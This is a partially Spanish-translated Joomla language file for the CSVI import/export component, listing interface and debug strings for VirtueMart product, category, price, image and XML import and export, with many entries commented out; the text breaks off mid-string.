COM_CSVI_IMAGE_CONVERTED="Image %s converted" ; COM_CSVI_IMAGE_NOT_CONVERTED="Image has not been converted" ; COM_CSVI_RENAME_FULL_FILE="Rename full image file: %s --> %s" ; COM_CSVI_RENAME_FULL_FILE_NOT_FOUND="Full image file to rename has not been found: %s" ; COM_CSVI_DEBUG_CONVERT_TYPE_CHECK="Converting image for type check: %s --> %s" ; COM_CSVI_CANNOT_FIND_REMOTE_MIMETYPE="COM_CSVI_CANNOT_FIND_REMOTE_MIMETYPE" ; COM_CSVI_DEBUG_RESIZE_IMAGE="Resizing large image %s from %s to %s" ; COM_CSVI_FULL_IMAGE_RESIZED="Full image has been resized" ; helpers/log.php ; COM_CSVI_CLEAN_OLD_LOGS="Clean up old logs. Found %s logs and threshold is %s logs" ; COM_CSVI_SUCCESS="Success" ; COM_CSVI_NOTICE="Notice" ; helpers/panel.php ; COM_CSVI_SHOW_PANEL="Show panel" ; COM_CSVI_HIDE_PANEL="Hide panel" ; helpers/file/import/csv.php ; COM_CSVI_UNEQUAL_FIELD_DELIMITER="The field delimiter doesn't match. Supplied delimiter %s and found delimiter %s" ; COM_CSVI_UNEQUAL_TEXT_ENCLOSURE="The text enclosure doesn't match. Supplied enclosure %s and found enclosure %s" ; COM_CSVI_FOUND_TEXT_ENCLOSURE="Found text enclosure %s" ; COM_CSVI_CANNOT_FIND_TEXT_DELIMITER="Cannot find text delimiter" ; COM_CSVI_FOUND_FIELD_DELIMITER="Found field delimiter: %s" ; helpers/file/import/ods.php ; COM_CSVI_CANNOT_UNPACK_ODS_FILE="Cannot unpack ODS file" ; helpers/file/import/xml.php COM_CSVI_ERROR_XML_READING_FILE="Error leyendo el fichero XML" ; COM_CSVI_XML_INVALID_TABLE="XML File/Table map is invalid" ; COM_CSVI_XML_FILE_INVALID="XML File is invalid format" ; COM_CSVI_XML_NODE_NOT_MATCH_FIELD="XML node does not match any field defined in the template: %s" ; COM_CSVI_XML_UNMAPPED_NODE="Unmapped node: %s" ; COM_CSVI_XML_UNDEFINED_NODE="Node is not defined in the XML Map: %s" ; COM_CSVI_XML_UNEXPECTED_END_NODE="Unexpected end of node: %s" ; COM_CSVI_XML_INVALID="XML File is invalid format" ; COM_CSVI_XML_NODE_UNCLOSED="The XML Map includes a node that is not closed: %s" ; COM_CSVI_XML_FILE_MAP_NO_REFERENCE="The XML file map references a field not defined in the template: %s" ; COM_CSVI_XML_NODE_NOT_CLOSED="Node: %s from the XML Map was not closed" ; COM_CSVI_XML_NO_RECORDS_DEFINED="No XML records were defined for this template" ; controllers/exportfile.php ; COM_CSVI_ERROR_EXPORT_PREP="There is a problem preparing for export" ; controllers/importfile.php ; COM_CSVI_ERROR_IMPORT_FILE="There is a problem with the import file" ; controllers/logdetails.php ; COM_CSVI_NO_RUNID_FOUND="No Run ID has been found" ; controllers/process.json.php ; COM_CSVI_CHOOSE_WEBSITE="Choose a website..." ; COM_CSVI_SELECT_TABLE_FOR_EXPORT="Select a table..." ; COM_CSVI_ALL_TAX_STATES="All states" ; controllers/process.php ; COM_CSVI_IMPORT_CANCELLED="Import has been cancelled" ; models/process.php ; COM_CSVI_NOT_USED="-- not used --" ; controllers/settings.php ; COM_CSVI_SETTINGS_RESET_SUCCESSFULLY="Settings reset successfully" ; COM_CSVI_SETTINGS_NOT_RESET_SUCCESSFULLY="Settings not reset" ; views/replacement/view.html.php ; COM_CSVI_PAGE_VIEW_REPLACEMENT="View replacement" ; COM_CSVI_PAGE_ADD_REPLACEMENT="Add replacement" ; COM_CSVI_PAGE_EDIT_REPLACEMENT="Edit replacement" ; COM_CSVI_N_ITEMS_DELETED="%s items deleted" ; views/replacements/view.html.php COM_CSVI_REPLACEMENTS="Sustituciones" ; forms/replacement.xml COM_CSVI_REPLACEMENT_NAME_LABEL="Nombre" ; COM_CSVI_REPLACEMENT_NAME_DESC="Give the replacement name" COM_CSVI_REPLACEMENT_FIND_LABEL="Encontrar" ; COM_CSVI_REPLACEMENT_FIND_DESC="Give what value to look for" COM_CSVI_REPLACEMENT_REPLACE_LABEL="Remplazar" ; COM_CSVI_REPLACEMENT_REPLACE_DESC="Give what value to replace with" ; COM_CSVI_REPLACEMENT_METHOD_LABEL="Method" ; COM_CSVI_REPLACEMENT_METHOD_DESC="Give what method to use" ; tables/products_lang.php ; COM_CSVI_CHECK_PRODUCT_LANG="Check product language entry" ; COM_CSVI_ADD_PRODUCT_LANG="Product language added" ; COM_CSVI_CHECK_PRODUCT_SLUG="Check product slug" ; Process types ; COM_CSVI_SUBSCRIPTIONEXPORT="Subscription export" ; COM_CSVI_AFFILIATEEXPORT="Affiliate export" ; COM_CSVI_AFFILIATEEXPORT_DESC="Export affiliates from Akeeba Subscriptions" ; COM_CSVI_AFFILIATEIMPORT_DESC="Import affiliates into Akeeba Subscriptions" ; COM_CSVI_CALCEXPORT_DESC="Export taxes & calculation rules" ; COM_CSVI_CALCIMPORT_DESC="Import taxes & calculation rules" ; COM_CSVI_CATEGORYEXPORT_DESC="Export category details" ; COM_CSVI_CATEGORYIMPORT_DESC="Import category details" ; COM_CSVI_COUPONEXPORT_DESC="Export coupon details" ; COM_CSVI_COUPONIMPORT_DESC="Import coupon details" ; COM_CSVI_CUSTOMFIELDIMPORT_DESC="Import custom fields" ; COM_CSVI_CUSTOMFIELDEXPORT_DESC="Export custom fields" ; COM_CSVI_MEDIAEXPORT_DESC="Export media files" ; COM_CSVI_MEDIAIMPORT_DESC="Import media files" ; COM_CSVI_RATINGEXPORT_DESC="Export product ratings" ; COM_CSVI_RATINGIMPORT_DESC="Import product ratings" ; COM_CSVI_SHOPPERFIELDEXPORT_DESC="Export shopper fields" ; COM_CSVI_SHOPPERFIELDIMPORT_DESC="Import shopper fields" ; COM_CSVI_SUBSCRIPTIONEXPORT_DESC="Export subscription details" ; COM_CSVI_AFFILIATEIMPORT="Affiliate import" ; COM_CSVI_SUBSCRIPTIONIMPORT="Subscription import" ; COM_CSVI_SUBSCRIPTIONIMPORT_DESC="Import subscriptions into Akeeba Subscriptions" ; LANGUAGE STRINGS THAT WERE NOT USED OR JOOMLA OVERRIDES: COM_CSVI_COMPLETED_="Resultados Completados" ; COM_CSVI_NO_PHP5="You are running PHP version %s, CSVI requires at least PHP version 5.2." ; COM_CSVI_IMPORT_TAX_OPTIONS="Tax options" ; COM_CSVI_FLEXTAX_LABEL="Use FlexTax?" ; COM_CSVI_FLEXTAX_DESC="If you have installed FlexTax, enable this option to make use of the FlexTax fields. For details about FlexTax see http://www.virtuemartflextax.com/" ; COM_CSVI_IMPORT_CATEGORY_OPTIONS="Category options" ; COM_CSVI_IMPORT_PRODUCT_OPTIONS="Product options" COM_CSVI_IMPORT_MEDIAS_OPTIONS="Opciones" ; COM_CSVI_EXPORT_MULTIPLE_PRICES_OPTIONS="Multiple prices options" ; COM_CSVI_EXPORT_ORDER_OPTIONS="Order" ; COM_CSVI_EXPORT_PRODUCT_OPTIONS="Product" COM_CSVI_EXPORT_USER_INFO_OPTIONS_OPTIONS="Opciones" ; COM_CSVI_INSTALL_OK="CSVI installation completed successfully" ; COM_CSVI_MOVE_TMP_OK="Temporary folder moved successfully" ; COM_CSVI_NO_TEMPLATES_CONVERT="Templates could not be converted" ; COM_CSVI_MEDIAS_TABLE_HAS_BEEN_EMPTIED="Product files table has been emptied" ; COM_CSVI_MEDIAS_TABLE_HAS_NOT_BEEN_EMPTIED="Product files table has not been emptied" ; COM_CSVI_IMPORT_FILE_LOCATION_MEDIA_LABEL="File location media files" ; COM_CSVI_IMPORT_FILE_LOCATION_MEDIA_DESC="File location is used for media files. Media files are all files that are not images. Do not add a trailing slash." ; COM_CSVI_NO_THUMB_FULL_IMAGE_IN_FILE="No full image or thumbnail image found in file" ; COM_CSVI_NO_MANUFACTURER_ID_NAME="No manufacturer category ID or name specified" ; COM_CSVI_FIND_MANUFACTURER_CATEGORY_ID="There is no manufacturer category ID, going to find one" ; COM_CSVI_NO_SHOPPER_GROUP_FOUND="No shopper group found. A shopper group is required to add/update multiple prices." ; COM_CSVI_FIND_PRODUCT_PRICE_ID="Going to find a product_price_id" ; COM_CSVI_ALREADY_HAVE_PRICE_ID="Already have a product_price_id" ; COM_CSVI_PRICE_NOT_DELETED="Price could not be deleted" ; COM_CSVI_PRICE_DELETED="Price has been deleted" ; COM_CSVI_TRIED_DELETE_PRICE="Tried to delete the price" ; COM_CSVI_NO_PRODUCT_PRICE_FOUND="There is no product price found" ; COM_CSVI_UPDATE_MULTIPLE_PRICES="Product price updated" ; COM_CSVI_ADD_MULTIPLE_PRICES="Product price added" ; COM_CSVI_MULTIPLE_PRICES_NOT_ADDED="Error processing product price: %s" ; COM_CSVI_MULTIPLE_PRICES_QUERY="Product price query" ; COM_CSVI_UPDATE_ORDER_PAYMENT="Order payment updated" ; COM_CSVI_ADD_ORDER_PAYMENT="Order payment added" ; COM_CSVI_ORDER_PAYMENT_QUERY="Order payment query" ; COM_CSVI_CHECK_USER_INFO_ID="Check user info ID" ; COM_CSVI_NO_ADDRESS_TYPE_OR_ADDRESS_TYPE_NAME="A user ID and/or address type and/or address type name is missing" ; COM_CSVI_NO_USER_INFO_ID_FOUND="No user info ID could be found" ; COM_CSVI_CHECK_PRODUCT_ID="Check for product ID" ; COM_CSVI_PRODUCTFILE_DELETE_QUERY="Product file delete query" ; COM_CSVI_DEBUG_MEDIAFILE_NOT_EXIST_SKIPPING="Media file %s does not exist. Skipping as set in the media files options." ; COM_CSVI_DEBUG_FILE_URL_FROM="Create URL from file: %s" ; COM_CSVI_DEBUG_DOMAINNAME="Domain name used: %s" ; COM_CSVI_NO_UPDATE_PRODUCT_SKU="Product SKU: %s could not be updated" ; COM_CSVI_UPDATE_PRODUCTSTOCK="Product stock updated" ; COM_CSVI_PRODUCTSTOCK_QUERY="Product stock query" ; COM_CSVI_PRODUCTSTOCK_NOT_ADDED="Error processing product stock: %s" ; COM_CSVI_DEBUG_FIND_SHIPPING_CURRENCY_ID="Find shipping rate currency ID" ; COM_CSVI_UPDATE_SHIPPINGRATE="Shipping rate updated" ; COM_CSVI_ADD_SHIPPINGRATE="Shipping rate added" ; COM_CSVI_SHIPPINGRATE_NOT_ADDED="Error processing shipping rate: %s" ; COM_CSVI_SHIPPINGRATE_QUERY="Shipping rate query" ; COM_CSVI_UPDATE_VMF_FEATURES="VMF feature updated" ; COM_CSVI_ADD_VMF_FEATURES="VMF feature added" ; COM_CSVI_VMF_FEATURES_NOT_ADDED="Error processing VMF feature: %s" ; COM_CSVI_VMF_FEATURES_QUERY="COM_CSVI_VMF_FEATURES_QUERY" ; COM_CSVI_UPDATE_VMF_FEATURES_XREF="VMF feature xref updated" ; COM_CSVI_ADD_VMF_FEATURES_XREF="VMF feature xref added" ; COM_CSVI_VMF_FEATURES_XREF_NOT_ADDED="Error processing VMF feature xref: %s" ; COM_CSVI_VMF_FEATURES_XREF_QUERY="VMF feature query" ; COM_CSVI_UPDATE_VMF_VALUES="VMF value updated" ; COM_CSVI_ADD_VMF_VALUES="VMF value added" ; COM_CSVI_VMF_VALUES_NOT_ADDED="Error processing VMF value: %s" ; COM_CSVI_VMF_VALUES_QUERY="COM_CSVI_VMF_VALUES_QUERY" ; COM_CSVI_UPDATE_VMF_VALUES_PRODUCTS="VMF value product link updated" ; COM_CSVI_ADD_VMF_VALUES_PRODUCTS="VMF value product link added" ; COM_CSVI_VMF_VALUES_PRODUCTS_NOT_ADDED="Error processing VMF value product link: %s" ; COM_CSVI_VMF_VALUES_PRODUCTS_QUERY="VMF value product query" ; COM_CSVI_VMF_VALUES_NO_FEATURE_ID="No feature found with the name %s" ; COM_CSVI_XML_DESCRIPTION="COM_CSVI_XML_DESCRIPTION" COM_CSVI_AVAILABLEFIELDS="Campos disponibles" ; COM_CSVI_COMPONENT_NOT_INSTALLED="Component not installed" ; COM_CSVI_MAINTENANCE_OPTIONS="Maintenance options" ; COM_CSVI_MAINTENANCE_DATABASE="Database" ; COM_CSVI_OPTIMIZETABLES_DESC="Optimizes tables to keep the tables clean. The following tables are optimized:
              Table name
              csvi_available_fieldscsvi_template_fields
              csvi_template_typescsvi_templates
              csvi_logscsvi_log_details
              vm_productvm_product_price
              vm_product_mf_xrefvm_product_attribute
              vm_categoryvm_category_xref
              vm_product_attribute_skuvm_product_category_xref
              vm_product_discountvm_product_type
              vm_product_type_parametervm_product_product_type_xref
              vm_product_relationsvm_manufacturer
              " ; COM_CSVI_UNPUBLISHPRODUCTBYCATEGORY_DESC="This option will unpublish all products found in categories that are unpublished." ; COM_CSVI_RESIZEPRODUCTNAME_LABEL="Resize product name field" ; COM_CSVI_RESIZEPRODUCTNAME_DESC="Default the product name field is 50 characters. This option allows to increase or reduce the size. On reducing the size data may be lost if the product name is longer than the new value. Maximum value is 255." ; COM_CSVI_REMOVECSVITABLES_DESC="Remove the CSVI backup tables. These are the tables that are created during installation of CSVI." ; COM_CSVI_BACKUPVM_DESC="An SQL file is created of all the tables and their data and placed in the folder administrator/backups" ; COM_CSVI_EMPTYDATABASE_DESC="The following tables will be emptied:
              Table name
              vm_productvm_product_price
              vm_product_mf_xrefvm_product_attribute
              vm_categoryvm_category_xref
              vm_product_attribute_skuvm_product_category_xref
              vm_product_discountvm_product_type
              vm_product_type_parametervm_product_product_type_xref
              vm_product_relationsvm_product_files
              vm_product_type_xvm_manufacturer (Except ID 1)
              " ; COM_CSVI_CURRENT_NAME_LENGTH="The longest product name in the database is %s characters." ; COM_CSVI_NAME_LENGTH="Give new length:" ; COM_CSVI_RESIZE_PRODUCTTITLE_LABEL="COM_CSVI_RESIZE_PRODUCTTITLE_LABEL" ; COM_CSVI_SET_PRODUCTNAME_LENGTH="Product name length set to: " ; COM_CSVI_ICECATINDEX_DESC="This option load the ICEcat indexes needed for ICEcat imports" ; COM_CSVI_UPDATEAVAILABLEFIELDS_DESC="Index all available fields" ; COM_CSVI_INSTALLDEFAULTTEMPLATES_DESC="Installs 15 example templates. There are 7 import examples and 8 export examples." ; COM_CSVI_SORTCATEGORIES_DESC="Sorts all categories alphabetically" ; COM_CSVI_REMOVEEMPTYCATEGORIES_LABEL="Remove empty categories" ; COM_CSVI_REMOVEEMPTYCATEGORIES_DESC="Removes all categories that have no products assigned to them. Parent categories are only deleted if all child categories are empty." ; COM_CSVI_CONFIRM_CATEGORY_DELETE="Are you sure you want to delete all empty categories?" ; COM_CSVI_EXCHANGERATES_DESC="This option loads the exchange rates from the European Central Bank. Exchange rates are used on product export to convert between different currencies." ; COM_CSVI_CLEANTEMP_DESC="Cleans the temporary folder from leftover import files and debug logs that are no longer in the system. The folder is located in /tmp." ; COM_CSVI_BACKUPTEMPLATES_DESC="Backup all your templates to CSV format" ; COM_CSVI_RESTORETEMPLATES_DESC="Restore templates into CSVI" ; COM_CSVI_CHOOSE_RESTORE_FILE_DESC="Select the file to restore" ; COM_CSVI_NO_PRODUCT_TYPE_NAMES_FOUND="No product type names have been found" ; COM_CSVI_ALL_TAX_COUNTRIES="All countries" COM_CSVI_IMPORT_OPTIONS="Opciones" ; COM_CSVI_EXPORT_LAYOUT="Layout" ; COM_CSVI_EXPORT_EMAIL="E-mail" ; COM_CSVI_IMPORT_LIMIT="Limit" COM_CSVI_IMPORT_GENERAL_OPTIONS="Opciones generales" COM_CSVI_IMPORT_IMAGE="Imágen" COM_CSVI_IMPORT_PRODUCT_PATH="Ruta" ; COM_CSVI_IMPORT_MEDIA_PATH="Paths" COM_CSVI_EXPORT_OPTIONS="Opciones" ; COM_CSVI_EXPORT_SHOPPER="Shopper" ; COM_CSVI_EXPORT_LIMIT="Limit" ; COM_CSVI_EXPORT_GENERAL_OPTIONS="General" ; COM_CSVI_EXPORT_ORDER_ITEM_OPTIONS="Order item" ; COM_CSVI_EXPORT_PRODUCT_TYPE_NAMES_OPTIONS="Product type names" ; COM_CSVI_EXPORT_USERINFO_OPTIONS="User info" ; COM_CSVI_EXPORT_TAX_OPTIONS="Tax rate" ; COM_CSVI_NO_FIELDS_SELECTED="No fields have been selected" ; COM_CSVI_EXPORT_TYPE="Choose which export you want to do" ; COM_CSVI_CUSTOM_TABLE_EXPORT="Choose which custom table you want to export" ; COM_CSVI_EXPORT_DESTINATION_OPTIONS="Destination options" ; COM_CSVI_EXPORT_TO_DOWNLOAD_DESC="Download the file to your local computer" ; COM_CSVI_EXPORT_TO_LOCAL_DESC="Saves the file on the server" ; COM_CSVI_EXPORT_TO_FTP_DESC="Saves the file on an FTP server" ; COM_CSVI_EXPORT_EMAIL_FILE_DESC="Set this to have the export file e-mailed to one or more recipients" ; COM_CSVI_EXPORT_FILE_OPTIONS="File Options" COM_CSVI_EXPORT_INCLUDE_COLUMN_HEADERS_LABEL="Incluir cabeceras de las columnas" ; COM_CSVI_EXPORT_INCLUDE_COLUMN_HEADERS_DESC="Select this option to include column headers in the exported file.

              Only used with CSV export." ; COM_CSVI_EXPORT_VM_ID_LABEL="Item ID" ; COM_CSVI_EXPORT_VM_ID_DESC="Select which Item ID to use for the export URL's. If no Item ID can be found it will default to 1. This links to the frontpage." ; COM_CSVI_EXPORT_PRODUCTTYPENAMES_OPTIONS="Product type name options" ; COM_CSVI_EXPORT_PRODUCT_TYPE_NAMES_LABEL="Product type names" ; COM_CSVI_EXPORT_PRODUCT_TYPE_NAMES_DESC="Select 1 or more product type names to export." COM_CSVI_EXPORT_COUNTRY_LABEL="Ciudad" ; COM_CSVI_EXPORT_COUNTRY_DESC="Select one or more countries to filter on" ; COM_CSVI_EXPORT_USER_INFO_VENDOR_LABEL="User vendor group" ; COM_CSVI_EXPORT_USER_INFO_VENDOR_DESC="Select the vendor group to filter users on." ; COM_CSVI_IMPORT_FROM_FTP_DESC="Load the file from an FTP location" ; COM_CSVI_EMPTY_IMAGE_LABEL="Empty image if not found" ; COM_CSVI_EMPTY_IMAGE_DESC="Set this to yes if you want to empty the image details if the image cannot be found, this means there is no image associated with the product" COM_CSVI_CONVERT_IMAGE_LABEL="Convertir imagen" COM_CSVI_CONVERT_IMAGE_DESC="Seleciona esto si quieres que tu imagen se convierta en otro tipo de imagen" ; COM_CSVI_IMPORT_TYPE="Choose which import you want to do" COM_CSVI_EXPORT_TEMPLATE_DETAILS="Detalles de la Plantilla" ; COM_CSVI_LAST_FIELD_COMBINE="The last field cannot be set to Yes for Combine." COM_CSVI_EXPORT_ADD_TEMPLATE_NAME_DESC="Introducir el nombre de la plantilla" ; COM_CSVI_EXPORT_ADD_TEMPLATE_NAME_LABEL="Name of export template" ; COM_CSVI_CHECK_COUPON_CODE_EXISTS="Check if the coupon code exists" ; COM_CSVI_MF_UPDATE_NAME="Manufacturer update by name" ; COM_CSVI_MF_UPDATE_ID="Manufacturer update by ID" ; COM_CSVI_MANUFACTURER_UPDATE_NOT_MATCHING="Manufacturer update not matching name or key" ; COM_CSVI_DEBUG_MANUFACTURER_EXISTS="Manufacturer already exists" ; COM_CSVI_DEBUG_MANUFACTURER_NOT_EXISTS="Manufacturer does not exist" ; COM_CSVI_DEBUG_CHECK_ATTRIBUTE_EXISTS="Check if product attribute exists" ; COM_CSVI_ADD_NEW_CATEGORY_REFERENCES="Add new category references" ; COM_CSVI_CHECK_IF_CATEGORY_REFERENCE_ALREADY_EXISTS="Check if category reference already exists" ; COM_CSVI_CATEGORY_REFERENCE_ALREADY_EXISTS="Category reference already exists" ; COM_CSVI_CATEGORY_REFERENCE_DOES_NOT_YET_EXIST="Category reference does not yet exist" ; COM_CSVI_USE_DISCOUNT_ID="Discount exists, return discount id: %s" ; COM_CSVI_CHECK_PRODUCT_FILE_EXISTS="Check if product file exists" ; COM_CSVI_DEBUG_CHECK_MF_PROD_EXISTS="Check if product manufacturer link exists" ; COM_CSVI_CROSS_REFERENCE_EXISTS="Cross reference already exists" ; COM_CSVI_PRODUCT_TYPE_XREF_CHECK="Check product type cross reference to product" ; COM_CSVI_CHECK_REVIEW_EXISTS="Check if there is an existing review" ; COM_CSVI_CHECK_PRODUCT_TYPE_NAME_EXISTS="Check if product type name exists" ; COM_CSVI_UPDATE_PRODUCT_TYPE_PARAMETER="Update product type parameter" ; COM_CSVI_INSERT_PRODUCT_TYPE_PARAMETER="Insert product type parameter" ; COM_CSVI_PRODUCT_TYPE_PARAMETER_STORE_FAILED="Failed to store product type parameter" ; COM_CSVI_PRODUCT_TYPE_PARAMETER_STORE_SUCCESS="Product type parameter stored" ; COM_CSVI_DROP_PRODUCT_TYPE_PARAMETER_INDEX="Drop product type parameter index" ; COM_CSVI_MODIFY_PRODUCT_TYPE_PARAMETER_COLUMN="Modify product type parameter column" ; COM_CSVI_ADD_PRODUCT_TYPE_PARAMETER_COLUMN="Add product type parameter column" ; COM_CSVI_CREATE_PRODUCT_TYPE_PARAMETER_INDEX="Add product type parameter index" ; COM_CSVI_DEBUG_CHECK_PRODUCT_TYPE_ID_EXISTS="Check if product type ID exists" ; COM_CSVI_DEBUG_UPDATING_NEW_PRODUCT_TYPE_DETAILS="Updating product type details" ; COM_CSVI_DEBUG_ADDING_NEW_PRODUCT_TYPE_DETAILS="Adding product type details" ; COM_CSVI_UPDATE_PRODUCT_TYPE_X="Update product type %s" ; COM_CSVI_PRODUCT_TYPE_DETAIL_SKU_ID="Product type details SKU/ID: %s" ; COM_CSVI_DEBUG_PRODUCT_TYPE_NAMES_STORE_FAILED="An error occured storing the product type names" ; COM_CSVI_PRODUCT_TYPE_NAMES_NOT_STORED="Product type names stored" ; COM_CSVI_DEBUG_FIND_SHIPPING_RATE_ID="Look up shipping rate ID" ; COM_CSVI_DEBUG_SHOPPER_VENDOR_EXISTS="Check if the shopper vendor xref is in the database" ; COM_CSVI_CHECKING_USER_EXISTS="Checking if user already exists" COM_CSVI_DELETE_OLD_CATEGORY_XREF="Borrar referencias a categorias antiguas" ; COM_CSVI_NOT_DELETE_OLD_CATEGORY_XREF="Not deleting old category references as we are appending categories" ; COM_CSVI_DEBUG_PRODUCT_TYPE_ID_QUERY="Product ID query: " ; COM_CSVI_CANNOT_LOAD_LOGS="Cannot load logs" ; COM_CSVI_CHANGE_NAME_LENGTH_OK="Product name field length changed successfully to %s characters" ; COM_CSVI_CHANGE_NAME_LENGTH_NOK="There was an error changing the product name field length. Error: %s" ; COM_CSVI_VMF_FEATURESIMPORT="VMF features import" ; COM_CSVI_VMF_VALUESIMPORT="VMF values import" ; COM_CSVI_UPDATE_PRODUCTTYPE="Product type updated" ; COM_CSVI_ADD_PRODUCTTYPE="Product type added" ; COM_CSVI_PRODUCTTYPE_NOT_ADDED="Error processing product type: %s" ; COM_CSVI_PRODUCTTYPE_QUERY="Product type query" ; COM_CSVI_CREATED_PRODUCT_TYPE_TABLE="Created product type table" ; COM_CSVI_ERROR_CREATED_PRODUCT_TYPE_TABLE="Could not create product type table" ; COM_CSVI_CREATE_PRODUCT_TYPE_TABLE="COM_CSVI_CREATE_PRODUCT_TYPE_TABLE" ; COM_CSVI_NO_PRODUCT_TYPE_ID_FOUND="No product type ID found" ; COM_CSVI_DEBUG_PRODUCT_ID_NOT_FOUND="No product ID found" ; COM_CSVI_NO_PARAMETER_VALUES="You selected a multiple select field but no possible values have been found" ; COM_CSVI_NO_PRODUCT_ID="COM_CSVI_NO_PRODUCT_ID" ; COM_CSVI_NO_PARAMETER_NAME="No parameter name found" ; COM_CSVI_UPDATE_PRODUCTTYPEPARAMETER="Product type parameter updated" ; COM_CSVI_ADD_PRODUCTTYPEPARAMETER="Product type parameter added" ; COM_CSVI_PRODUCTTYPEPARAMETER_NOT_ADDED="Error processing product type parameter: %s" ; COM_CSVI_PRODUCTTYPEPARAMETER_QUERY="Product type parameter query" ; COM_CSVI_UPDATE_TAX_RATE="Tax rate updated" ; COM_CSVI_ADD_TAX_RATE="Add tax rate" ; COM_CSVI_TAX_RATE_NOT_ADDED="Error processing tax rate: %s" ; COM_CSVI_TAX_RATE_QUERY="Tax rate query" ; COM_CSVI_DEBUG_FIND_TAX_RATE_ID="Find tax rate ID" ; COM_CSVI_IMAGE_NOT_CONVERTED_EXT_SAME="Image not converted, extension is the same" ; COM_CSVI_IMAGE_NOT_CONVERTED_REMOTE_FILE="Image not converted, target file is a remote location" ; COM_CSVI_RENAME_THUMB_FILE="Rename thumbnail image file: %s --> %s" ; COM_CSVI_RENAME_THUMB_FILE_NOT_FOUND="Thumbnail image file to rename has not been found: %s" ; COM_CSVI_DEBUG_COLLECT_FILE_DETAILS="Collect file details. Path: %s" COM_CSVI_SETTINGS_SAVED_SUCCESSFULLY="Configuración guardada completamente" COM_CSVI_SETTINGS_NOT_SAVED_SUCCESSFULLY="Ajustes no guardados" ; COM_CSVI_DATA_EXISTS="Data exists: %s" COM_CSVI_CATEGORYIMPORT="Importar categoría" COM_CSVI_MANUFACTURERIMPORT="Importar fabricante" COM_CSVI_MULTIPLEPRICESIMPORT="Importar precios multiples" COM_CSVI_ORDERIMPORT="Importar pedidos" ; COM_CSVI_ORDERITEMIMPORT="Order item import" ; COM_CSVI_PRODUCTFILESIMPORT="Product files import" ; COM_CSVI_PRODUCTIMPORT="Product import" ; COM_CSVI_PRODUCTTYPEIMPORT="Product type import" ; COM_CSVI_PRODUCTTYPENAMESIMPORT="Product type names import" ; COM_CSVI_PRODUCTTYPEPARAMETERSIMPORT="Product type parameters import" ; COM_CSVI_MANUFACTURERCATEGORYIMPORT="Manufacturer category import" ; COM_CSVI_TEMPLATEFIELDSIMPORT="Template fields import" ; COM_CSVI_TEMPLATEIMPORT="Template import" ; COM_CSVI_USERINFOIMPORT="User info import" ; COM_CSVI_COUPONIMPORT="Coupon import" ; COM_CSVI_SHIPPINGRATEIMPORT="Shipping rates import" ; COM_CSVI_PRODUCTSTOCKIMPORT="Product stock import" ; COM_CSVI_PRODUCTREVIEWSIMPORT="Product reviews import" ; COM_CSVI_SHOPPERFIELDIMPORT="Shopper field import" ; COM_CSVI_CUSTOMIMPORT="Custom import" ; COM_CSVI_TAXRATESIMPORT="Tax rates import" ; COM_CSVI_WAITINGLISTIMPORT="Waiting list import" ; COM_CSVI_TEMPLATEFIELDSEXPORT="Template fields export" ; COM_CSVI_TEMPLATEEXPORT="Template export" ; COM_CSVI_ORDEREXPORT="Order export" ; COM_CSVI_ORDERITEMEXPORT="Order item export" ; COM_CSVI_MULTIPLEPRICESEXPORT="Multiple prices export" ; COM_CSVI_MANUFACTUREREXPORT="Manufacturer export" ; COM_CSVI_PRODUCTFILESEXPORT="Product files export" ; COM_CSVI_PRODUCTEXPORT="Product export" ; COM_CSVI_PRODUCTTYPEEXPORT="Product type export" ; COM_CSVI_PRODUCTTYPENAMESEXPORT="Product type names export" ; COM_CSVI_PRODUCTTYPEPARAMETERSEXPORT="Product type parameters export" ; COM_CSVI_CATEGORYEXPORT="Category export" ; COM_CSVI_USERINFOEXPORT="User info export" ; COM_CSVI_COUPONEXPORT="Coupon export" ; COM_CSVI_SHIPPINGRATESEXPORT="Shipping rates export" ; COM_CSVI_PRODUCTREVIEWSEXPORT="Product reviews export" ; COM_CSVI_USERFIELDSEXPORT="User fields export" ; COM_CSVI_CUSTOMEXPORT="Custom export" ; COM_CSVI_TAXRATESEXPORT="Tax rates export" ; COM_CSVI_WAITINGLISTEXPORT="Waiting list export" ; COM_CSVI_VMF_FEATURESEXPORT="VMF features export" ; COM_CSVI_VMF_VALUESEXPORT="VMF values export" COM_CSVI_UPDATED="Actualizado" COM_CSVI_DELETED="Barrado" COM_CSVI_ADDED="Añadido" ; COM_CSVI_SKIPPED="Skipped" COM_CSVI_INCORRECT="Incorrecto" ; COM_CSVI_EMPTY="Emptied" COM_CSVI_NOSUPPORT="No soportado" COM_CSVI_NOFILES="Perdido" COM_CSVI_INFORMATION="Información" ; COM_CSVI_FULL_IMAGE_NOT_CONVERTED="Full image could not be converted" ; COM_CSVI_THUMB_IMAGE_NOT_CONVERTED="Thumbnail image could not be converted" ; COM_CSVI_DEBUG_CONVERT_ORIGINAL_FILE="Convert original file %s" ; COM_CSVI_FULL_CONVERTED="Full image converted" ; COM_CSVI_THUMB_CONVERTED="Thumbnail image converted" ; COM_CSVI_LINENUMBER="Line %s: %s" ; COM_CSVI_CANNOT_FIND_ODS_FILE="Cannot find ODS file %s" COM_CSVI_XML_ERROR_READING_FILE="Error leyendo el fichero XML" ; COM_CSVI_AVAILABLEFIELDS_EXTRA_NOT_FOUND="Extra available fields (%s) file cannot be found" ; COM_CSVI_MAINTENANCE_CATEGORY_DELETED="Deleted category: %s" ; COM_CSVI_NO_PRODUCT_TYPE_COLUMNS="No product type names to export found. Select 1 or more product type names to export." ; COM_CSVI_PRODUCT_DELETED="Product %s deleted" ; COM_CSVI_PRODUCT_NOT_DELETED="Product %s not deleted" ; COM_CSVI_CHECK_ORDER_EXISTS="Check if order exists" COM_CSVI_CSVIMPROVED="CSV Improved" ; COM_CSVI_BESLIST="Beslist" ; COM_CSVI_OODLE="Oodle" COM_CSVI_GOOGLE="Google" ; COM_CSVI_CUSTOM="Custom" COM_CSVI_EXPORT_MULTIPLE_PRICES="Multiples precios" COM_CSVI_REPLACEMENT_OPTIONS="Remplazar opciones" ; COM_CSVI_DEBUG_MESSAGE="Debug message" COM_CSVI_COMPLETED_UPGRADE="Actualización completa" ; COM_CSVI_COMPLETED_AVAILABLEFIELDS="Updating available fields completed" ; COM_CSVI_COMPLETED_SAMPLETEMPLATES="Installing example templates completed" COM_CSVI_LOG_TEMPLATE_NAME="Nombre plantilla" COM_CSVI_VERSION="Versión" COM_CSVI_TIME="Hora" COM_CSVI_LINE_NR="Linea" COM_CSVI_COMMENT="Comentario" COM_CSVI_NAME_LENGTH_MAX="El tamaño máximo fue superado" ; COM_CSVI_CATEGORYDETAILSEXPORT_DESC="Export category details" COM_CSVI_COUPONSEXPORT_DESC="Exportar 